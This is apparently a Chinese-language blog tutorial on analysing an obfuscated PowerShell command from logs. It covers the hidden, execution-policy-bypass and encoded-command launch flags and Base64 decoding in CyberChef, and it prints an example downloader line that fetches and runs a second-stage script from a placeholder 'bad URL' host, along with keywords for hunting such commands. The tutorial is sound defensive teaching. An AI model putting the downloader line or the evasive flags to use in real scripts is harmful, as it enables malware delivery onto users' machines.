今天進入實戰動手做
假設在日誌裡,撈到一段長得像亂碼的 PowerShell 指令
今天要分析並拆解出攻擊者的真實意圖
拿到一段可疑 PowerShell 時,先看它怎麼啟動
powershell.exe -nop -w hidden -ep bypass -enc ...
上述這些參數,已經透露不少資訊。
外殼參數
─────────────────────────────────────────────
-nop
-NoProfile
→ 不載入使用者的 PowerShell Profile
-w hidden
-WindowStyle Hidden
→ 隱藏 PowerShell 視窗
-ep bypass
-ExecutionPolicy Bypass
→ 不受目前 Execution Policy 限制
-enc
-EncodedCommand
→ 後面是一段編碼後的 Command
單獨一個參數不能代表惡意。
例如 -NoProfile 在自動化腳本裡很常見。
但如果同時看到:
Hidden
+
Bypass
+
EncodedCommand
再搭配異常 Parent Process 或外連行為,
就會變得很可疑
進行分析時,最重要的原則就是:
不要把可疑指令原封不動貼進 PowerShell 執行
上述這樣就變成直接跑惡意指令了

cyberchef 可以抓到本地做離線版使用
也能直接使用線上版:https://gchq.github.io/CyberChef/
CyberChef 的概念很像把處理步驟排成一張食譜:
CyberChef Recipe
═══════════════════════════════
Input
│
▼
From Base64
│
▼
Decode Text
│
▼
Output
舉例在 Sysmon Event ID 1 撈到這樣一筆
(下面是教學用的示意結構,不是真實惡意程式碼):
powershell.exe -nop -w hidden -ep bypass -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAuAC4ALgApAA==
上述就把資料抽出來給 Cyberchef 做 decode 來觀察即可
資料:
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAuAC4ALgApAA==
解碼為下圖

一般正常可能會拆出如底下範例
IEX (New-Object Net.WebClient).DownloadString('http://壞網址/stage2.ps1')
上述就知道他是一個 Downloader ,
然後知道會去哪下載第二階段的惡意程式
真實樣本常常不只一層。
攻擊者會把「下載指令」再包一層 Base64、Gzip 壓縮、字元替換……
你解開第一層,發現裡面還是亂碼,就繼續解下一層。

通用去混淆的想法:
1. 先讀「外殼參數」判斷可疑度 (不用解碼就能做)
2. 找出編碼/壓縮的類型 (Base64? Gzip? Hex?)
3. 用 CyberChef 一層層還原,「只轉換不執行」
4. 每層思考是:載入器 or 最終 payload?
5. 抵達最終邏輯 → 萃取 IOC(網址、IP、檔名、帳號)
還原到底後,要從中撈出入侵指標(IOC),
作為後續可以進行狩獵(hunting):

這是分析的正向循環:解一台 → 得 IOC → 用 IOC 掃全網 → 找出更多受害者。
手動解一段還行,但事件中可能有幾百段。
實務上會:
-enc、FromBase64String、DownloadString 的事件,優先處理。Day 13 進入第三幕「他們怎麼擴散的」。
首先會探討 持久化(Persistence)
攻擊者怎麼確保「就算重開機、就算清掉這個惡意程式,他明天還在」?